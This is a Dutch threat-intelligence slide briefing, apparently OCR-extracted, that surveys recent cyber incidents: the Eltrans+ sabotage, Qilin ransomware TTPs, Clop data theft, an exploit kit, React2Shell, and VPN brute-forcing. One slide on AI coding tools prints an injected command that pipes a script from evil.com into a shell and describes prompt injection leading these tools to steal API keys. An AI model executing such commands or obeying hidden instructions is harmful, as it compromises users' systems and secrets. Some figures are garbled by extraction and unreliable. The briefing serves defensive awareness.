Het Digitale Slagveld Breidt Zich Uit

De Convergentie van Geopolitieke Conflicten, Professionele Cybercrime en Softwarekwetsbaarheden

Analyse van de laatste 48 uur toont een dreigingslandschap waarin staatssabotage, commerciéle
ransomware en kwetsbaarheden in de software supply chain onlosmakelijk met elkaar zijn verbonden.

De aanval van vandaag in Oekraine informeert de tools die morgen in de Benelux worden ingezet.
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De Essentie in 60 Seconden: Vier Cruciale Observaties

)

GEOPOLITIEKE
ESCALATIE

Cyberoperaties zijn nu een
integraal onderdeel van
conventionele oorlogsvoering,
gericht op directe sabotage van
kritieke infrastructuur zoals
logistiek.

165 1B

data vernietigd bij Russisch
logistiek bedrijf Eltrans+

666

CRIMINELE
INDUSTRIALISATIE

Ransomware-as-a-Service
(RaaS) modellen zoals Qilin
opereren op industriéele schaal,
met tientallen aanvallen per
maand op hoogwaardige doelen
wereldwijd.

70

aanvallen door Qilin in 30
dagen

QJ

SOFTWARE ALS
FRONTLINIE

De focus van aanvallers
verschuift naar de
ontwikkelomgeving:
kwetsbaarheden in frameworks
en Al-tools vormen een direct en
meetbaar risico voor de Benelux.

kwetsbare IP's in Nederland voor
React2Shell (C’UE-ZDZE'SSIEZ]

VERVAGENDE
GRENZEN

De scheiding tussen staat,
criminaliteit en bedrijfsleven
vervaagt. Een Russische
universiteit ontwikkelt zowel
‘essay mills' voor fraude als
militaire drones.

50%

Al-fraude als bijproduct van
militaire drone-ontwikkeling
(schatting)
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Van Conflict naar Code: Sabotage van de Russische Logistieke Keten

Case Spotlight: Eltrans+ Aanval

Wie: Oekraiense inlichtingendienst (HUR) &
hackersgroep BO Team

Wat: Grootschalige cyberaanval op Russisch
logistiek bedrijf Eltrans+

servers en computers
onklaar gemaakt.

aan data vernietigd of
versleuteld.

gebruikersaccounts gewist.

Resultaat: Volledige onderbreking
van de bedrijfsvoering.

“Deze actie, getimed op de Dag van de Strijdkrachten, is geen geisoleerd incident maar onderdeel van een
bredere campagne om strategische doelen te bereiken en de Russische supply chain te ontregelen.”
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Het Strategische Doel: Politieke Onderwerping
via een Hybride ‘Salami-Tactiek’

Het Strategische Concept Case Spotlight: Synergy University

Kerninzicht: De westerse perceptie van een territoriaal conflict Dubbele Rol
miskent het Russische einddoel: de volledige politieke
onderwerping van Oekraine en het herstel van de Russische
invloedssfeer.

Methode: De ‘Salami-Slicing’ Strategie
Conventioneel Militair
Cyberaanvallen \
Desinformatie ’
Sabotage

ey e

=

Academische Fraude: Militaire Productie:
OickaTarise Explnijceert ‘essay mill’ netwerk Dntwikk:elt dn::n'es die
Cosucremitiit “Nerdify” met een geschatte worden ingezet in de
opbrengst van $25 miljoen. oorlog tegen Oekraine.

Conclusie: Dit illustreert de diepe verwevenheid van
ogenschijnlijk civiele entiteiten in de hybride oorlogsstrategie
van het Kremlin.
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De Industrialisatie van Afpersing: Profiel van Ransomwaregroep Qilin

Model: Ransomware-as-a-Service (RaaS), ook bekend als ‘Agenda’. Levert tools aan geaffilieerde hackers voor een deel van de winst.

Tactieken, Technieken & Procedures (TTP’s)
In Source Sans Pro Semibold

!
70 Initiéle Toegang: Phishing, misbruik
aanvallen van publieke kwetsbaarheden (bv.

in 30 dagen CVE-2021-40444), gestolen credentials.

(aug-sep 2025) |

Toolset: Aangepaste versies van
K Mimikatz, DonPAPI, XenoRAT.

Glnhale Impact

%

Brede Sectnrfncus

Operationele Schaal

-

= — Platform-agnostisch: Ontwikkelt
.: & =— malware voor Windows, Linux en
X' ESXi-omgevingen.

Qilin’s RaaS-model creéert een schaalbare en efficiénte aanvalsmachine die een constante,
wereldwijde dreiging vormt voor kritieke sectoren.
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De Administratieve Achterdeur: Clop
Exploitatie bij Barts Health NHS Trust

\ Gestolen Data

» Gevoelige factuurgegevens van patiénten (volledige namen en
adressen).

e Gegevens van voormalige medewerkers met schulden.
P * Gegevens van leveranciers.

Impact

» Data gepubliceerd op het dark web via Clop's lekportaal.

* Geen directe verstoring van klinische zorg of patiéntendossiers.

* Toont aan hoe niet-klinische, administratieve systemen een
zwakke schakel kunnen zijn voor datadiefstal in de zorg.
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Implicatie voor Benelux

Zorginstellingen en andere organisaties in de Benelux moeten
de beveiliging van veelgebruikte bedrijfssoftware (ERP, CRM)
even serieus nemen als die van hun primaire systemen.
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Kwetsbaarheid in
Oracle E-business Suite
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Cybercrime-as-a-Product:
De Commercialisering van Aanvalstools

Spotlight: HFX v3.0 Exploitation Toolkit

Aangeboden: Op ondergrondse fora.
Functionaliteit: Een geautomatiseerde softwarecollectie ontworpen om kwetsbaarheden bij websitebezoekers uit te buiten.

% .

Hoe een Exploit Kit Werkt

01 @

Omleiding

Slachtoffer wordt via
malvertising of

gecompromitteerde site naar

een landingspagina geleid.

Exploitatie

De juiste exploit wordt
automatisch ingezet om
toegang te krijgen.

Scanning

Toolkit scant het systeem
van het slachtoffer op
verouderde browsers,

plugins, etc.

Payload Delivery

Malware (bv. ransomware,
banking trojan) wordt
geinstalleerd zonder
interactie van de gebruiker.

De verkoop van kant-en-klare exploit kits verlaagt de drempel voor cybercriminaliteit significant, waardoor
minder technische actoren in staat zijn om geavanceerde 'drive-by-download' aanvallen uit te voeren.
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Direct Risico voor de Benelux: React2Shell
Kwetsbaarheid Actief Misbruikt

Kwetsbaarheid: CVE-2025-55182 (‘React2Shell’) De Dreiging in Cijfers

Technisch Profiel

« Locatie: React Server Components (RSC). /
» Impact: Ongeauthenticeerde Remote Code Execution (RCE). {'4
» Methode: Aanvaller kan code uitvoeren via een eenvoudig }
HTTP-verzoek. - kwetsbare <
| IP-adressen
Aanvalspatroon =

@ Geautomatiseerde scans om kwetsbare servers te vinden.

@ Verificatie via simpele PowerShell-commando's. kwetsbare

|P-adressen

@ Installatie van verdere payloads (bv. Cobalt Strike) voor
toegang tot interne netwerken.

Status: Actief misbruikt tegen 30+ organisaties wereldwijd.
CISA heeft de kwetsbaarheid opgenomen in de lijst van
bekende geexploiteerde kwetsbaarheden.

@ Wereldwijd: 77.000+ kwetsbare IP-adressen.
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De Nieuwe Frontlinie: Al-gedreven Ontwikkeltools als Aanvalsvector

function dataProcessing(input) {
const result = process(input);

{{ ... more code ...

() Al Suggestion

}

Prompt
Injectie

os.system('curl evil.com/payload.sh | sh')

Dreigingscluster: ‘IDEsaster’

» Wat: Meer dan 30 kwetsbaarheden (waarvan 24 met CVE) in
Al-gedreven IDE’s en extensies.

» Getroffen Tools: GitHub Copilot, Cursor, Windsurf, en anderen.

De Kern van de Aanval: Prompt Injectie

» Concept: Verborgen instructies worden via onzichtbare tekens
of externe inputin de context van het Al-model ingevoerd.

» Gevolg: De Al-tool wordt gemanipuleerd om onbedoelde acties
uit te voeren zonder tussenkomst van de gebruiker.

Mogelijke Impact
B _ Data Exfiltratie: Gevoelige informatie (API-keys, code) uit

J* bestanden lezen en stelen.

Remote Code Execution (RCE): Instellingen van de IDE
— ) aanpassen om kwaadaardige commando's of bestanden uit
te voeren.

Aanbeveling: Beperk Al-tools tot het ‘least privilege’ principe en wees uiterst waakzaam voor verborgen instructies

in externe broncode of projecten.
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Prioriteren in een Zee van Kwetsbaarheden:
Van Hype tot Hardnekkig Risico

Trending CVE’s op Social Media

cvE-2025-55182 (React2shell) | 7+ De ‘hype’ concentreert zich
CVE-2025-66478 (Next.js) [ 5: op RCE-kwetsbaarheden in

CVE-2025-12762 (pgAdmin) [N 19 populaire web-frameworks.
CVE-2025-9242 (WatchGuard) [N 12
CVE-2025-8088 (WinRAR) [ 8

Hardnekkige Risico’s in Nederland

Naast nieuwe dreigingen blijven aanvallers succesvol misbruik maken van oudere, niet-gepatchte
systemen.

Meest Misbruikt in NL: Methode: Aanvallers gebruiken honeypots
1. CVE-2023-38646 in Metabase en scanners om continu te zoeken naar
2.CVE-2019-1653 in Cisco RV320/RV325 routers kwetsbare systemen.
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De Digitale Stormloop: Grootschalige Brute-Force Campagne Tegen VPN-gateways
in Inter Bold, Deep Navy (#0A2342)

Doelwitten

» Palo Alto GlobalProtect VPN portalen
e SonicWall SonicOS API eindpunten

Bron:
3xK GmbH Analyse
Infrastructuur Palo Alto * 62% van de aanvallende IP's kwam uit
= GlobalProtect VPN Duitsland
9 miljoen+ utstana. . '
HTTP-sessies  Gebruikte identieke TCP/JA4-fingerprints.

Doel van de Aanvallers

7.000+ » GlobalProtect: Credential-based aanvallen
PRy (inloggegevens raden).
SonicWall » SonicWall APIl: Scannen op kwetsbaarheden en
SonicOS API misconfiguraties.

Palo Alto Networks bevestigt dat dit geen software-exploitatie is, maar een
credential-aanval. Dit onderstreept de absolute noodzaak van:

Multi-Factor Strikte IP-filtering
Authenticatie voor externe
(MFA) | toegangspunten
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Zelfs Criminelen Maken Fouten: IP-adressen van Darknet Markten Gelekt

Getroffen Platformen
* Orange Market

Het Incident

De echte IP-adressen van diverse
darknet markten zijn per ongeluk
blootgesteld op het reguliere
internet (clearnet) door een
technische misconfiguratie.

» Changa Store
 Omerta Market

De Gevolgen Community Discussie

+ |dentificatie: Opsporingsdiensten Q Incident uitgebreid

kunnen de fysieke locatie van de besproken op het
servers achterhalen. darknet forum 'Dread".

 Verhoogd Risico: Kwetsbaar voor 193_5 J s 100_ 10

inbeslagname of DDoS-aanvallen.

Dit incident bewijst dat operationele veiligheid universeel is; een simpele configuratiefout kan zelfs de meest
geavanceerde, op anonimiteit gebouwde platforms ondermijnen.
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De Strijd om Digitale Soevereiniteit:
Techgiganten versus Europese Regulering

Conflict: X (voorheen Twitter) vs. Europese Commissie Bredere Context
Dit incident staat niet op zichzelf, maar symboliseert
de voortdurende spanning tussen de snelle,
| disruptieve aard van tech-platformen en de

pogingen van overheden om consumenten te
Aanleiding: Een boete van 120 miljoen euro voor X.

beschermen en de digitale markt te reguleren.

Het roept fundamentele vragen op over macht,
verantwoordelijkheid en de handhaving van
wetgeving in een grenzeloos digitaal domein.

Reden: Misleiding rondom de blauwe verificatievinkjes.

Reactie: .- "...de Europese Unie zou moeten
@il wordenopgeheven..."
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De Fysieke Basis van Digitale Macht:
Europa’s Strijd om Kritieke Grondstoffen

Het Europese Plan De Waarschuwing van de TU Delft
(Dr. Benjamin Sprecher)

“Het plan is gedoemd te mislukken als er niet meer
wordt geinvesteerd in specifieke technologische
kennis en onderwijs.”

Het Kennisgat

p 7 ad
/ ‘ Doel: max 65% in 2030 : ; | :
<& China heeft decennialang geinvesteerd in
verwerkingstechnologieén, terwijl Europa hierop heeft

A Y
; b : : bezuinigd. Zonder deze kennisbasis blijft Europa
Maatrege_len. Mlljgrden[nvesterlp B e pos D athankelijk, zelfs als de grondstoffen lokaal beschikbaar
op afval, investeringen in recycling. ziin

De veerkracht van onze digitale infrastructuur—van datacenters tot batterijen—is direct afhankelijk van een geopolitiek

kwetsbare supply chain. Een gebrek aan technologische kennis is net zo'n strategische kwetsbaarheid als een software-exploit.
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Conclusie: Geen Geisoleerde Incidenten, Maar een
Geintegreerd Dreigingslandschap

» Geopolitieke conflicten fungeren als een laboratorium voor nieuwe aanvalstechnieken en verlagen de drempel voor
destructieve acties.

» Professionele cybercrime adopteert en industrialiseert deze technieken, gedreven door een schaalbaar RaaS-model.

* De strijd wordt uitgevochten op de technische frontlinie van onze software, ontwikkeltools en netwerkinfrastructuur.

 De strategische context van beleid en fysieke afhankelijkheden bepaalt de spelregels en de uiteindelijke veerkracht.

Effectieve cyberdefensie vereist een holistische visie. Het begrijpen van de link tussen een CVE in een
Javascript-framework en de geopolitieke strategie van een natie is niet langer een academische oefening,
maar een operationele noodzaak.
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